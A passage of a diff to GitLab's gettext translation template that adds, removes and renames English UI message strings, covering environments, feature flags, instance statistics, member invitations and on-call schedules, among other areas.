msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -10137,7 +10463,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -10155,6 +10481,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10506,6 +10835,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10617,6 +10949,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10854,9 +11189,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10893,6 +11225,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10971,6 +11306,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -11205,6 +11543,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11313,6 +11654,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11448,6 +11792,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11487,6 +11834,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11526,12 +11876,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11701,6 +12057,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11725,9 +12084,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11788,6 +12144,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11830,7 +12189,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11956,12 +12315,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11986,9 +12339,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -12034,9 +12384,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -12121,6 +12468,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -12148,9 +12498,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12637,6 +12984,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12670,6 +13020,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12880,15 +13233,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -13003,12 +13353,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13243,6 +13587,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13636,12 +13986,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13717,6 +14061,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13872,9 +14219,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -14016,6 +14360,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -14096,12 +14443,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -14153,9 +14494,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -14186,6 +14524,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -14219,6 +14560,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14249,9 +14593,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14429,9 +14770,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14516,9 +14854,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14544,73 +14879,79 @@ msgstr[3] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14649,6 +14990,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14682,7 +15026,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14700,6 +15053,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14721,6 +15077,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14796,6 +15155,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14838,6 +15200,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14862,6 +15227,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14907,6 +15275,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14916,16 +15287,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -15033,9 +15404,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -15099,6 +15467,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -15234,10 +15605,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15414,6 +15785,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15543,6 +15935,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15727,9 +16122,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15823,6 +16215,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15850,9 +16245,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15883,9 +16275,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15949,9 +16338,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -16003,18 +16389,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -16030,9 +16407,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -16138,6 +16512,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -16160,6 +16537,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16364,9 +16744,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16427,16 +16804,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a full email address"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16499,7 +16870,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16511,7 +16882,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16559,6 +16930,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16583,9 +16957,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16742,7 +17113,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16778,9 +17152,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16790,12 +17173,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16814,6 +17206,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16865,6 +17260,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16916,6 +17314,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17476,6 +17877,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17581,6 +17985,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17614,12 +18021,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17677,7 +18078,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17773,6 +18174,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17904,6 +18308,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17937,6 +18344,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -18162,7 +18572,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18316,6 +18726,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18421,9 +18834,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18607,9 +19017,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18646,6 +19053,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18664,6 +19074,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18676,6 +19089,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18715,6 +19131,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18751,9 +19170,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18769,6 +19194,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18778,6 +19206,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18904,6 +19335,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18919,9 +19377,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18946,9 +19401,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18961,6 +19413,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18970,7 +19428,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18995,9 +19453,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -19079,6 +19534,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -19145,9 +19603,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -19193,6 +19648,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19349,6 +19807,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
